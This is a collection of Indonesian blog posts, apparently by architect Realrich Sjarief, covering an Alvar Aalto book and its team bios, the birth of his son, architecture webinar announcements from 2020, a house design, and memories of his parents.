“Dinamika Taksu pada akhirnya bergerak dalam rentang yang lebar sesuai kapasitas dan peran kita masing-masing. Akan selalu ada batasan-batasan yang membedakan Taksu kita – sesuai pilihan jalan sebagai rohaniwan, politisi, tenaga medis, pekerja mandiri, akademisi, arsitek, desainer, seniman, petani dan tenaga profesi lain, aktivis sosial, maupun pilihan berkarya di ranah domestik. Pada kondisi optimalnya – Taksu dalam laku berarsitektur merujuk pada Totalitas – yang berproses kembali menjadi energi kehidupan dalam menghadapi konflik keseharian. Keberlanjutan yang ‘hidup’ dengan menjadikan kita bukan sebagai pemeran utama. Menjadikan kita ‘tiada’. Sebagai perantara, pembaca pesan-pesan yang disampaikan oleh semesta. Kenikmatan me’Rasa’ yang berujung pada upaya menjawab kebutuhan dan masalah dasar dalam berarsitektur. Tidak bertujuan utama untuk jadi tontonan, simbol status ataupun melulu komoditi. Kesunyian yang meniadakan, sekaligus melahirkan kekuatan diri. Mati sakjroning urip.”
Tulisan Jolanda menjadi penutup dari buku Alvar Aalto yang menekankan pentingnya menyadari pentingnya jujur di dalam menjalani tata laku yang menjauhkan diri dari kepentingan simbol status, kepentingan ataupun komodifikasi.
Menurut saya refleksi yang menggambarkan bagaimana sikap untuk menjalani tata laku tersebut disimpulkan oleh Johannes Adiyanto di dalam catatan editorial bagaimana bersikap tulus dengan cinta.
Johannes Adiyanto menulis “Ada dua hal —menurut saya— yang dapat dipelajari dari buku Alvar Aalto ini. Pertama, pembaca dapat menemukan proses kehidupan percintaan Aalto dengan arsitektur. Aalto tidak sekedar menempatkan arsitektur sebagai sebuah profesi semata (cinta agape), tapi proses kehidupannya pada setiap tahapnya selalu mengembangkan diri untuk mampu mencintai arsitektur (cinta Philautia), sehingga dapat dikatakan proses percintaan Aalto dengan arsitektur telah sampai pada titik cinta pragma, sebuah cinta yang teruji oleh ruang dan waktu. Cinta pragma ini dapat dicapai jika seseorang mampu menerima kehidupannya sebagai sebuah proses cinta agape, sebuah cinta yang tanpa pamrih. Apapun yang dilakukan demi hal yang dia cintai.”
Di balik ruang kerja saya dilapisi cermin, saya bisa melihat Alvar Aalto yang melihat dari belakang, disebelahnya ada Johannes Adiyanto dan Romo Mangunwijaya yang merangkulnya dan tersenyum.
Mereka berbisik – bisik,
“Mati sakjroning urip.”
Nglakoni Mati Sajroning Urip. Dalam falsafah Jawa ungkapan “nglakoni mati sakjroning urip” rasanya tidak terlalu asing. Ungkapan itu sendiri bermakna bahwa seyogyanya manusia bisa mematikan segenap hawa nafsunya dalam menjalani kehidupan.
Buku ini dijual mulai tanggal 1 Juli 2020 untuk mahasiswa seharga IDR 150.000,-. dan untuk professional dengan harga normal IDR 250.000. Dengan membeli buku ini anda mendukung kesadaran literasi yang diinisiasi Omah Library. Pemesanan buku @omahlibrary dapat melalui link di bio bit.ly/OrderOMAH atau hubungi vivi (WA) 08998898239.
Credit to the Team, It’s Collaborative work
Penulis: Realrich Sjarief
Realrich Sjarief mendirikan Realrich Architecture Workshop di tahun 2011. Ia juga aktif di DOT Workshop, yang berfokus pada penelitian tektonika, dan Perpustakaan OMAH, kelompok penelitian dan perpustakaan umum yang menampung sekitar 1.500 buku arsitektur dan menyelenggarakan publik berkala acara tentang wacana arsitektur kontemporer. Ia menulis beberapa buku bersama dengan Johannes Adiyanto, bersama-sama menjadi cantrik yang haus akan ilmu. Realrich Sjarief aktif mengajar di beberapa universitas di Indonesia, dan kerap kali memberikan kuliah umum di Australia, Singapore, Filipina, India. Bersama RAW Architecture ia memenangkan beberapa kompetisi desain, termasuk Kompetisi Galeri Nasional Indonesia, finalis dari Museum Silaban, IAI Jakarta Award di tahun 2017 dengan karya Omah Library, Finalis World Architecture Festival Award 2018, Fibra Award 2019, dan Kohler Award 2018 untuk karya Sekolah Alfa Omega. RAW Architecture di tahun 2018-2019 adalah long listed world emerging architect. Baru-baru ini RAW Architecture juga mendapatkan nominasi Emerging Architect di Asia Pacific Design Award 2020.
Editor: Johannes Adiyanto
Johannes Adiyanto, lahir sebagai anak pertama pada bulan September 1974 beristri Veronica Dwi Yantina yang dinikahinya tahun 2005. Jo – biasa dia dipanggil – menyelesaikan studi doktoralnya di ITS dengan tema Konsekuensi Filsafat Jawa pada Arsitektur Jawa. Kecintaannya pada filsafat terjadi karena koleksi bacaan dari Bapaknya, Erasmus Prijotjahjono dan koleksi kaset wayang dari Eyang, Gerardus Soewandi yang kesemuanya menuju pada satu pemahaman tentang budaya Jawa dan filsafat masyarakat Jawa. Kecintaan akan filsafat juga ditunjang dengan kecintaan akan buku. Hal inilah yang menuntun Jo bertemu dengan ‘juragan buku’ dari gua Omah, Realrich Sjarief. Kecintaan mereka berdua akan buku dan arsitektur membawa mereka merangkai kata dalam beberapa buku yang diterbitkan oleh Omah Library. Dalam buku-buku mereka yang bertema arsitektur seringkali tidak berbicara teknis semata, namun menjelajah jauh mendalam seperti seorang penjelajah ilmu. Jo selalu menyebut dirinya sebagai cantrik, seorang murid yang tidak berhenti mencari dan mencari pengetahuan dan ilmu. Buku Alvar Aalto sebuah tapak pencahariannya.
Tim Omah Library : Penulisan, Riset, dan Layout
Amelia Mega Djaja
Amelia Mega Djaja adalah salah satu periset dan pustakawan OMAH Library, pernah terlibat dalam penulisan buku berjudul “Craftgram: Craft + Grammatology” dan “Alvar Aalto: The Magic of Architect’s Life,” dan juga sebagai koordinator Kri(s)tik Book Club 2019. Lulus dari S1 jurusan arsitektur pada tahun 2016 dari The University of Sheffield, dengan disertasi mengenai narasi arsitektur poskolonial di Jakarta tahun 1960an.
Sebelum bergabung di OMAH, Amel memiliki pengalaman bekerja selama 3 tahun sebagai desainer, antara lain dalam proyek Alun-Alun Cicendo Bandung (2017, di bawah Florian Heinzelmann), juga sebagai koordinator tim Sayembara Kantor Bupati Sleman yang mendapat juara 2 (IAI 2018, di bawah Ary Indra).
Menurutnya, arsitektur bisa menjadi medium dalam melakukan pembacaan dan analisis mengenai kultur, sejarah, lingkungan maupun dimensi sosial yang lebih luas. Karena ketertarikannya untuk mendalami hal tersebut, saat ini Amel juga merupakan salah satu pegiat ASF-Indonesia yang aktif dalam fasilitasi dan diskusi mengenai komunitas informal kota Jakarta.
Dimas Dwi Mukti P
Dimas Dwi Mukti Purwanto, lahir di Madiun 7 Maret 1996. Lulus dari Akademi Teknik Arsitektur YKPN Yogyakarta tahun 2018 dan sekarang sedang melanjutkan studi S1 di Universitas Mercu Buana Jakarta untuk melanjutkan cita – citanya.
Beberapa pengalaman yang mempengaruhi pemikiran Dimas adalah ketika menjadi volunteer yang bertugas sebagai tim riset Venice Architecture Biennale 2018 bersama tim pavillion Indonesia pada tahun 2017, ketika menjadi tim desain revitalisasi desa Krapyak di Pekalongan bersama Studio Akanoma dalam mendampingi World Bank pada tahun 2018, dan ketika mendapatkan kesempatan untuk menjadi juru gambar PT. Waskita Karya dalam proyek tol Pemalang – Batang pada tahun 2018. Kemudian Dimas juga pernah bekerja di PT. Kreasi Nusa Studio sebagai desainer interior dimana banyak mengerjakan proyek – proyek kantor, residensial hingga komersial sepanjang tahun 2019. Untuk saat ini Dimas sedang belajar dan bekerja sebagai pustakawan dan juga periset di Omah Library. Salah satu prestasi yang pernah Dimas raih adalah juara 3 dalam kompetisi desain ruang publik yang bertema Unexpected Space di tahun 2018.
Dimas adalah orang yang tidak pintar – pintar amat namun memiliki keinginan yang kuat untuk bisa membanggakan bangsa Indonesia sebagai arsitek yang baik sehingga hal itulah yang selalu membuatnya mendapatkan motivasi untuk terus belajar dan belajar lebih dalam lagi.
Kirana Ardya Garini
Lulus dari jurusan Teknik Arsitektur pada tahun 2017, Kirana A. Garini memiliki pengalaman bekerja di konsultan arsitektur PT Tripatra Konsultan di Yogyakarta yang khusus menangani proyek pemerintahan.
Kirana sempat bergabung dalam Housing Resource Center Yogyakarta dengan fokus penanganan kampung kota Kali Code Yogyakarta dengan output berupa profil kawasan.
Kirana senang bereksperimen dengan desain produk, khususnya yang dapat digunakan di ruang publik. Ia pernah membuat Pringgam (pring-gamelan), prototipe produk bermain bagi anak usia SD di taman kota Surabaya, berbahan bambu, memadukan sistem alat box musik dan gamelan. Produk tersebut sengaja didesain untuk beberapa penggunan sebagai tanggapan atas minim nya interaksi sosial anak di kota urban yang cenderung terikat pada gadget mereka. Karya tersebut mendapat penghargaan juara 1 pada sayembara Play MORPH yang diselenggarakan oleh Departemen Arsitektur ITS, Surabaya bersama dengan 2 orang dalam timnya.
Kirana sangat tertarik dengan arsitektur untuk publik, yang mengutamakan kesehatan dan kenyamanan masyarakat luas, desain universal, multi dimensi dan multi disiplin, serta bersinggungan dengan kebijakan publik, politik, dan ekonomi.
Oleh karena itu saat ini Kirana memilih bergabung sebagai Researcher Librarian di OMAH Library. Kirana berharap dapat melatih ketajaman observasi dan berpikir lebih dalam guna mengkoneksikan sejarah dan teori, mampu membuka wacana, membangun kritik, dan menakar kebijakan publik yang kontekstual.
Selama di OMAH Library, Kirana terlibat dalam berbagai riset yang diantaranya diterbitkan dalam bentuk buku, seperti: Methodgram, Craftgram, Sejarah Arsitektur untuk Mahasiswa, dan yang terbaru, buku Alvar Aalto: the magic of architects life.
Satria A. Permana
Satria A. Permana is currently working at OMAH Library, observing and researching architecture discourse in Indonesia. He graduated from the school of architecture in Universitas Islam Indonesia. His thesis about “Recoding the Code’s Urban Kampong”, has led him to put his concern on developing urban kampong design language, which also aided him to gain several prizes in architecture and urban design competition such as merit award in FuturArc Prize 2019 and nominated in Student Charrette World Architecture Festival 2016. Besides architecture and design, he spends half of his life observing the worlds in writings and photography which could be found at http://www.medium.com/@satriaap. In 2020, he co-authored with Realrich Sjarief a book titled The Secret of Architect’s Life. He is available to reach by email at satriaap@live.com or Instagram @satria__ap.
Epilog.
Jolanda Atmadjaja Pemerhati permasalahan keseharian .Lulusan desain interior Institut Seni Indonesia Yogyakarta dan Institut Teknologi Bandung
Ketika Kehamilan Laurensia sudah memasuki minggu ke 38, minggu tersebut adalah minggu kelahiran anak kami. Ini adalah kehamilan yang ke 6 bagi Laurensia. Laurensia sudah terbiasa dengan pulang pergi ke dokter kandungan untuk menanyakan kondisi kehamilan untuk kemudian pulang dengan kesedihan, begitupun kali ini kami pulang dengan ketakutan, takut karena kondisi bayi kami dan masa depan yang tidak bisa terprediksi, kehamilan kedepan, dan persentase keberhasilan yang rendah yang menjadi ketakutan kami.
Miraclerich lah yang mengatakan ke kami bahwa bayi kami adalah laki – laki bukan perempuan seperti USG yang dilakukan ke dokter kandungan ke Laurensia sebelumnya. Setiap malam, ia mendoakan adiknya supaya tetap sehat, di tengah – tengah suntikan yang perlu dilakukan setiap hari ke perut Laurensia, senyum, pelukan, doa Miracle menjadi senyum tersendiri bagi Laurensia. saya percaya bahwa “Tuhan mendengarkan doa dari anak – anaknya.”
Dulu Cherry, anak pertama kami, di dalam ketiadannya menyisakan kesedihan, lubang yang menganga ketika ia tiada. Saya percaya anak Tuhan tetap menjadi malaikat. Mata ini berair ketika mendengar doa Laurensia. “Tuhan apabila masih diberikan kesempatan, berikanlah satu orang malaikatmu untuk menemani kami.”
Berulang kali Laurensia menanyakan tentang nama anak kedua namun saya tidak menjawab karena nama itu muncul karena nama Heaven atau surga itu ibaratnya ada di antara kehidupan dan kematian. Mungkin saya hanya tidak rela kehilangan orang – orang yang saya cintai karena makna ganda tersebut. Saya hanya terlalu jauh berpikir antara makna surga dan dunia. ya nama bayi kami Heavenrich panggilannya even yang berarti begitu ia muncul surga akan datang ke sekitar dirinya. Heaven, heaven, nama yang mengingatkan tempat dimana anak – anak yang menjadi malaikat.
Hari itu, hari rabu pagi kami menginap satu malam dengan protokol COVID, pergi ke rumah sakit Graha Kedoya dengan masker, ia masuk ke kamar operasi jam 06:00 pagi, perawat mempersiapkan dan kami berdoa.
Keesokan dini hari, Laurensia pun dibawa ke ruang operasi dan saya ditemani pak Misnu menunggu di ruang tunggu di depan pintu ruang operasi. Saat – saat itu adalah saat – saat terlama untuk menunggu, waktu sekarang berhenti. Saya ingat Pak Misnu yang sudah ikut keluarga kami dari saya belum lahir, totalnya lebih dari 38 tahun dan sekarang membantu saya dan Laurensia. Ia sudah seperti ayah saya sendiri. Ia ada di dalam kelahiran Miraclerich, ketika saya rapat pertama di dalam perintisan studio, ia menemani menemui klien pertama, menemani proyek terbangun pertama, ia juga yang menemani untuk ikut survei ke daerah Taman Villa Meruya, tempat tinggal kami sekarang. Dan sekarang ia menemani saya lagi. Pak Misnu ada di saat kami sedih dan bahagia. Saat – saat ini saya tidak mau berandai – andai hanya berdoa semoga semua bisa selesai dengan baik.
10 menit berlalu,..
20 menit,…
30 menit,…
45 menit,…
50 menit,..
kemudian ada panggilan
“Pak, bayinya sudah keluar.”
Suster perawat memanggil, dan disitu sudah ada dokter Bertha yang menunggu dan menjelaskan bahwa semua baik – baik saja.
Heavenrich sudah lahir, berkulit putih bersih dengan berat badan 3.3 kg. 1 jam kemudian, Laurensia keluar dan saya pun bersyukur. Hari yang baru untuk keluarga kecil kami. Matahari bersinar cerah, setelah berkat (Miracle) hadir di dalam curahan Tuhan yang berlimpah (rich) kemudian surga pun datang ke dunia, kami adalah orang yang beruntung bisa dititipkan malaikat Tuhan untuk memberikan kidung surga.
Terima kasih Dokter kandungan kami namanya Dr. Raditya Wratsangka. Sungguh saya bersyukur semua bisa selesai dengan baik dan sekilas saya bisa melihat di samping dokter Bertha, Cherry muncul menemani dan menjaga Heaven.
Kamu sudah besar ya nak, papa kangen kamu, terima kasih ya sudah menemani mama dan adikmu.
Thank you the University of Tarumanagara for Hosting this dedicated for its students, I’ll be really grateful to discuss and share some of the recent issues about how the architecture profession can get opportunity from this crisis.
From the committee, the discussion will be casual. Bincang Senang Ala Arsitek Salah satu arsitek dari RAW Architecture Firm dan juga seorang akademisi yang menjadi sorotan beberapa tahun terakhir, karena karya dan “wadah” interaktif yang beliau ciptakan “OMAH” library menjadikan Pak Realrich sangat dikenal khususnya di kalangan mahasiswa.
Instagram live ini diadakan untuk menyediakan sebuah tayangan casual mendidik yang dapat diakses oleh mahasiswa-mahasiswa aktif atau bahkan calon mahasiswa yang juga tempat menampung pertanyaan dan keresahan isu kekinian. Mengingat dalam situasi pandemi ini Jurusan Arsitektur dan Perencanaan mengajak bintang tamu berbincang santai mengenai topik tertentu dari sudut pandang bintang tamu. Juga adanya kumpulan pertanyaan dari mahasiswa yang di rangkum dan akan Host tanyakan.
.
Greetings!
In order to provide and facilitate a casual yet fun discussion of architecture in this current situation on social media, especially Instagram.
Department of Architecture and Planning Faculty of Engineering Tarumanagara University presents a series of interesting Casual Discussions on this Instagram.
With the speakers, of course you are waiting for. Don’t forget to join Instagram Live on the official Instagram account of the Department of Architecture and Planning: @arch.plan_untar
Materi sharing diberikan oleh: 1. Christiano Junior Benavides T. dari Universitas Khatolik Widya Mandira, Kupang Dengan judul tugas akhir: Pusat Perbelanjaan Oe-Cusse Timor Leste, dengan Tema Arsitektur Kontemporer
2. Achmad Safar dari Universitas Hasanuddin, Makassar. Dengan judul tugas akhir: Kampung Deret Mangasa di Bantaran Sungai Jeneberang
3. Lidya Ametha dari Universitas Sumatera Utara Dengan judul tugas akhir: Perancangan Pusat Kegiatan Pemuda di Kawasan Pengembangan Cagar Budaya Pulo Brayan Bengkel dengan Pendekatan Biofilik dalam Arsitektur
Hari/tanggal pelaksanaan: Sabtu 18 Juli 2020 Waktu: 15.30-18.30 WIB
Link untuk mendaftar: bit.ly/YACPSTA1 (link on our bio) Konfirmasi setelah mengisi form harap mengkonfirmasi ke nomor 0852-3040-5012 melalui whatsapp.
Pendaftaran akan ditutup pada Kamis, 17 Juli 2020 pukul 23:59 WIB atau jika jumlah pendaftar sudah memenuhi kuota yang tersedia, maka akan ada pemberitaan selanjutnya mengenai penutupan pendaftaran forum sharing ini.
Rumah ini didesain dalam jangka waktu 1 tahun yang membentuk proses di desain Rumah Harris + Tiffany. Di dalam awal proses sempat dibicarakan apa perlu rumah ini dihancurkan atau bisa tidak menggunakan hal – hal yang sudah ada. Dari diskusi yang muncul, rumah ini pada akhirnya menggunakan sebagian pondasi dan dinding yang lama sehingga biaya konstruksi bisa ditekan dengan optimal. Ibaratnya rumah baru yang berdiri (mengangkangi|memayungi) di atas struktur yang lama.
Rumah ini terlilhat tidak biasa, namun setiap pertimbangan desainnya memiliki prosedur di dalam keputusan desain yang terkait dengan seni dan sains bangunan yang dibahas di dalam 7 cerita:
1. Proses yang Panjang 2. Eksplorasi Bentuk 3. Translasi 3 buah dunia 4. Alam Fantasi : Stereotomic Artist 5. Alam Imajinasi : Diskursus 6. Alam Realisasi : Peta Konstruksi 7. Peta Metode Desain Ketujuh hal ini menggarisbawahi pola dasar pemikiran yang saling terajut di dalam referensi dan metode desain. #rawarchitecturebest adalah cerita dimana saya (Realrich) menghargai arsitektur dan proses, tim, klien @harris_go, @twidjojono , alam, saudara, guru dan sahabat yang sudah membantu selama ini. Terima kasih untuk tim saya yang luar biasa, hugs. Yuk buat karya yang baik dan memuaskan,tq ya. #realricharchitectureworkshop Design Team (Current) : @rawarchitecture_best, @fianal, dan @viviysantosa_ . 3d Artist oleh @ed.visualization thanks ed for the great visualizations.
Registration will be closed at any time with or without notice when the webinar participant has reached the capacity limit. This webinar organized by Indonesian Institute of Architects (Ikatan Arsitek Indonesia Daerah Istimewa Yogyakarta)
Eksposisi #5 Pendekatan dan Metode dalam Proses Merancang Jumat, 19 Juni 2020 15.30-18.00
Narasi
Hasil Rekaman Kuliah dari Ikatan Arsitek Indonesia Jawa Barat
Ide desain merupakan buah pikiran setiap arsitek; output dari setiap proses kreatif yang runut dan sistematis dalam merespon konteks yang dihadapi. Dalam proses pengembangan sebuah ide, setiap arsitek merespon limitasi, batas/batas (consraints) & potensi sebuah konteks, menggunakan Pendekatan dan Metode yang secara kreatif berkembang menjadi visi dan diterapkan menjadi susunan strategi desain. Keunikan inilah yang memberikan karakter sebuah karya arsitektur dan yang membedakan antara satu karya dengan karya lainnya. Dari narasi tersebut, melalui #eksposisi 5: Pendekatan dan Metode dalam Proses Merancang, kita akan menggali pemahaman karya arsitektur melalui sudut pandang bagaimana Ide Arsitektur diproduksi oleh sang arsitek. Pendekatan apa yang dilakukan untuk memahami dengan spesifik realita sebuah proyek?, dan Metode apa saja yang digunakan untuk menterjemahkan solusi dari realita yang dihadapinya?. Diskusi ini akan mendalami proses kreatif perancangan desain arsitektur lebih dari sekedar tahapan Konsep, Skematik dan Konstruksi. Sehingga, kesadaran dalam proses merancang terutama kesadaran dalam mengambil keputusan – keputusan sebuah proses desain tidak hanya berdasar pada intuisi yang tak terukur atau bahkan berlandas pada wangsit.
Member of : UIA International Union of Architects ARCASIA Architects Regional Council Asia
Mobile &WA : +62 8122123175 SMS center : +62 857 2121 7559 e-Mail: sekretariat@iaijabar.org
Eksposisi #5 Pendekatan dan Metode dalam Proses Merancang Jumat, 19 Juni 2020 15.30-18.00
Run-Down 10:00 Pendaftaran ditutup 15:10 Panitia, moderator dan pembicara standby di zoom 15:15 Admin membagikan link zoom di wa, partisipan menunggu di waiting room sambil membaca rules 15:25 Host memasukkan para partisipan dan memulai rekaman 15:30 Moderator membuka acara, narasi singkat tentang topik dan membacakan cv singkat setiap pembicara. 15:35 Sambutan ketua IAI Jawa Barat 15:40 Pemaparan eksposisi 15:45 Pembicara 1 : Sonny Sutanto (45 menit) 16:30 Pembicara 2: Realrich Sjarief (45 menit) 17:15 Tanya jawab dipandu oleh moderator, host menyaring pertanyaan yang datang lewat chat. 17:50 Pembacaan kesimpulan oleh moderator dan foto bersama oleh host 18:00 Acara selesai
READY FOR OUR NEXT #sundaysharing, DON’T FORGET TO SEND US DM TO GET THE LINK. . . . Come join us in a #sundaysharing session with @artriapratomo on . . . SHIFTING PARADIGM IN ARCHITECTURE New Problem, New Demand, New Protocol Sunday, June 14, 2020, at 16:00 . . . We will have a discussion with Realrich Sjarief- RAW Architecture @rawarchitecture_best and Andesh Tomo-Andesh Tomo Desain @andeshtomo @andesh.tomo.desain . . . Due to a limited space, please send us DM for RSVP. We will send the zoom link on Sunday, June 14, 2020 at 14:00
There’s only one thing more precious than our time and that’s who we spend it on.”-Leo Christopher
Ibu saya selalu menemani ayah saya ketika bekerja. Saya ingat ayah saya bercerita ketika ibu dan ayah saya menghadap ke Teddy Boen di pagi – pagi justru ketika Pak Teddy belum ke kantor. Pak Teddy pun terkejut melihat ayah ibu saya disana, intinya mereka ingin mendiskusikan beberapa tagihan tambahan karena memang diperlukan. Dan benar saja Pak Teddy selalu mengingat ibu dan ayah saya. Mereka selalu berpesan bahwa bangun pagi – pagi, selalu ada rejeki untuk orang yang bersiap – siap dan tak kenal menyerah, biasa jam 5.00 mereka sudah bangun dan menunggu untuk ngopi atau ngeteh bersama.
Ada alasan kenapa saya membuat kisah tentang ayah dan ibu yang memang adalah dasar kami berpraktik yakni sederhana, tidak bertele – tele dan tetap personal. Ibu saya atau seringnya dipanggil ama sama cucu – cucunya ini paling gokil, ia adalah ibu ketua RT yang pernah mimpin demo bersama warga gara – gara gorong – gorong air ditutup sama pemerintah. Untuk saya, ibu kami ini adalah ibu yang terbaik di dunia dan saya mendapatkan energinya semangatnya yang ngga bisa diam. Didiemin sedikit ssstttt “Eh tau – tau udah manjat lemari dia ngejer cicak.” Lol. Hal tersebut membuat hal tersebut juga turun ke Miraclerich punya energi yang luar biasa alias tidak bisa diam. Ibu saya selalu menemani ayah saya, mencatat administrasi, sembari mengurus keperluan rumah tangga kami, termasuk mengajarkan aturan yang disiplin tanpa mengikat. Ia menghargai waktu dan mereka memilih dengan siapa mereka meluangkan waktu. Laurensia sekarang juga membantu kami di dalam pengaturan studio yang tidak mudah.
Studio @rawarchitecture_best pun dibentuk dengan energi yang seperti itu, sebuah prinsip energi yang positif, desain seperti mempersiapkan sebuah hidangan makanan, preparation, preparation, preparation. Waktu yang panjang dilakukan untuk pengecekan – pengecekan gambar. Setiap pagi saya mencoba untuk mengecek
kesiapan setiap hari, meskipun tidak mudah untuk menerapkan hal tersebut di tim besar, segala sesuatu yang dimulai dari hal yang sederhana akan membuahkan hasilnya positif. Setelah ini baru saya akan menyajikan proses berkarya studio kami, setelah mengetahui etos yang merupakan titik awal studio yang berisi anak – anak muda yang sungguh saya banggakan.
In English :
My mother always accompanies my father when he works. I remember my father telling me when my mother and father went to see Teddy Boen in the morning when Mr. Teddy had not yet come to the office. Mr. Teddy was also surprised to see my mother and father there; they wanted to discuss some additional invoices. And sure enough, Mr. Teddy always remembers my mother and father. They always say that when they wake up early, there is always fortune for those ready and don’t give up usually, at 5.00 they are up and waiting for coffee or tea together.
There is a reason why I made a story about father and mother, which is the basis for our practice, which is simple, straightforward, and personal. My mother, often called her grandchildren, is the most energetic. She is the head of the RT who once led a demonstration with the residents because the government closed the water ditches. Our mother is the best in the world, and I get her energy and enthusiasm that cannot be silent. Didiemin a little shhhhhhh “Eh you know – you know, already climbing the closet he’s chasing a lizard.” lol. This energy also goes down to Miraclerich, who has extraordinary power, aka cannot be silent. My mother always accompanied my father, taking notes on the administration while taking care of our household needs, including teaching disciplined rules without being binding. It values time, and they choose who they spend time with Laurensia is now also helping us in the studio setup, which is not easy.
Realrich Architecture Workshop fills our memory with that kind of energy, a positive energy principle. The design is like preparing a food dish, preparation, preparation, preparation. I need time for checking the design, which I do every morning.
Everyday readiness or constant preparation is not easy to implement in a big team. Everything that starts from simple things will produce positive results. After this, I will only present the process of working in our studio after knowing the ethos, which is the starting point for a studio filled with young people of that I am proud of.
Cinta yang terbaik muncul lebih karena terbiasa, tulus tanpa pretensi. Contohnya studio arsitek adalah simbol, profesi adalah simbol, prestasi adalah simbol. Seperti layaknya simbol ia punya dua sisi mata uang yang selalu kontradiktif. Satu sisi ia memberikan penghargaan juga memberikan kenanaran akan lupa diri, atau mudahnya satu sisi memberikan kedekatan dan di sisi lainnya memberikan jarak dari kegembiraan penjelajahan. Hal ini diibaratkan perjalanan menjembatani simbol menuju hal yang esensial/mengakar. Salah satu hal yang perlu dipikirkan bisa jadi hal – hal yang non-esensial (biasa) itulah yang esensial, membuat perjalanan menjadi penuh dengan kegembiraan paradoks di dua sisi mata koin yang berbeda.
Salah satu cara yang bisa diterapkan dengan kontemplatif adalah menembus 7 lapisan “chanel” desain ke atas : relasi klien, estetik, ekpresi, wacana publik, lokalitas, pragma. Juga menembus 7 lapisan ke bawah : bentuk, kulit, kerangka, reprogram, MEP, material, kawruh jiwa. Kerja kriya (pemikiran tulisan ataupun karya dan jiwa ada di tengah – tengah). Penembusan lapisan – lapisan tersebut muncul dari inisiatif penjelajahan yakni kegembiraan berproses (dilampirkan di post mengenai progress tahun demi tahun).
Terkadang hasil dari proses itu tidak datang cepat, dibalik ketidak pastian menunggu hasil tersebut muncul perasaan cemas, bingung, tertekan. Sebenarnya hal tersebut wajar, contohnya di balik kegembiraan sebuah hasil yang muktahir sebenernya rasa “gembira” tersebut terkait dengan “bayangan” yang muncul di dalam sebuah proses. Saya sadar seperti halnya karakter Kabar gembira yang juga memiliki kabar sedih, begitupun juga karakter kabar sedih yang memiliki kabar gembira. Kedua hal tersebut memberikan bayangan – bayangan yang perlu diberikan jarak untuk menemukan inti diri kembali. Di balik berbagai hambatan akan covid 19 yang nyata- nyata memberikan sebuah perubahan yang mau tidak mau harus diamini, memang kita semua, termasuk saya sendiri harus berubah, beradaptasi menuju new upnormal (meningkat) bukan abnormal.
Ada kabar gembira untuk rekan-rekan saya di studio dan klien – klien dari panitia INDE Award 2020, bahwa @rawarchitecture_best masuk nominasi. Yang bisa saya lakukan adalah mengucap syukur lalu kembali jalan lagi, menyadari dibalik kabar gembira juga muncul bayang bayang badai yang masih belum selesai, kita bertransformasi menuju new upnormal. Yuk.
Ini ayah saya, namanya Asnawi Sjarief, opa kami, yang ngga segesit ibu saya tapi matanya tajam seperti elang. Ia adalah seorang pemain bulutangkis yang sempat jadi Elang Teluk Betung, meskipun badannya kecil ia terkenal dengan jumping smashnya. Ia menyaksikan kehebatan satu legenda pelatih Indonesia Tong Sin Fu dalam melatih reflek, teknik bermain dengan etos berlatih tinggi sampai berkelahi ketika harus mempertahankan prinsip hidupnya. Tong Sin Fu sekarang melatih Lin Dan, dan kaliber dunia lainnya menjadi juara dunia. Dulu om Tong sempat melatih Icuk Sugiarto, Alan Budikusuma, Ardy Wiranata, Hariyanto Arbi, Hendrawan. Ia melatih murid2nya untuk meraih puluhan gelar juara termasuk 3 olimpiade seperti : piala Thomas, Uber dan banyak piala lainnya. Untuk saya, figur Tong Sin Fu dan Ayah saya adalah figur dasar bagaimana arsitek perlu memiliki prinsip hidup dan latihan yang intensif.
Tong Sin Fu sekarang melatih Lin Dan, dan kaliber dunia lainnya menjadi juara dunia. Dulu om Tong sempat melatih Icuk Sugiarto, Alan Budikusuma, Ardy Wiranata, Hariyanto Arbi, Hendrawan. Ia melatih murid2nya untuk meraih puluhan gelar juara termasuk 3 olimpiade, piala Thomas, Uber dan banyak piala lainnya. Untuk saya figur Tong Sin Fu dan Ayah saya adalah figur dasar bagaimana arsitek perlu memiliki prinsip hidup dan latihan yang intensif.
Di waktu kecil, kita tidak banyak berkumpul bersama, Ayah saya bekerja di Jakarta, dan ibu saya, saya, dan saudara laki-laki saya tinggal di Surabaya. Kami tidak sekota sehari-harinya, Ibu saya mendukungnya, ketika kami harus pindah ke Jakarta dari Surabaya ketika saya berusia sepuluh tahun.
Dia mengawasi timnya dengan cermat dan merawat mereka, seperti keluarganya. Saya ingat ayah saya bangun sangat pagi, jam 5 pagi, dan pergi ke lokasi untuk memeriksa pekerjaan timnya dari waktu ke waktu, dari Senin sampai Senin. Terkadang selama liburan, kami mengadakan acara dengan tim pengrajin dan pengawas, dan hidup mereka menjadi hidup kami. Kami bersenang-senang membicarakan proyek di meja makan. Saya sangat mencintainya, dan dia adalah pahlawan saya, panutan, mentor, dan orang yang selalu mengerti kondisi kami. Meskipun dia harus menutup usahanya di tahun 1998, dia berhasil mencarikan uang dan pekerjaan untuk mereka.
Dalam hidupnya, dia berusaha untuk orang lain dan keluarganya. Dia menyukai posisinya di lapangan, dan bosnya, Teddy Boen, mengingatnya. Teddy Boen adalah salah satu profesor di bidang desain Gempa di Indonesia. Dia mengenal Teddy Boen dari kakek kami, dan dia mempertahankan hubungan itu selama 30 tahun hingga sekarang. Ini adalah hubungan berkelanjutan antara generasi pembangun, klien, dan pengrajin. Saya masih ingat tidak sempat mengobrol dengan ayah saya karena dia bekerja di Jakarta. Dia datang ke Surabaya ketika salah satu keluarga berulang tahun. Kami dulu mengadakan pesta ulang tahun yang sederhana. Perayaan kami sangat sederhana seperti rumah kami, satu lantai, dengan finishing teraso. Dia membangunnya satu per satu. Dia mengurus keluarganya dengan memberi kami rumah sederhana selama bekerja di Jakarta. Terkadang, kakek + nenek kami dari Lampung datang, dan saya menyadari bahwa mereka sangat bangga dengan ayah dan ibu saya. Pakaian kami sangat sederhana, dan terkadang, ibuku menjahit semua pakaiannya sendiri. Gaya pakaian kami mirip. Terkadang banyak saudara kakek kami datang untuk membantu ibu saya. Ibu saya merawat empat putra seorang diri. Dia suka membuat kue dan bersosialisasi di lingkungan sekitar.
Seorang ayah adalah pelita bagi anak – anaknya, begitupun ayah saya yang sudah disebut opa oleh cucu2nya. Saya sangat kangen sekali untuk berkunjung ke tempat ayah saya hanya untuk sekedar mendengarkan ia mengulangi kisah – kisah hidupnya bertemu orang – orang luar biasa termasuk ketika ia membicarakan terus Teddy Boen dan menanyakan ke saya, kamu sudah kontak pak Teddy Boen ?
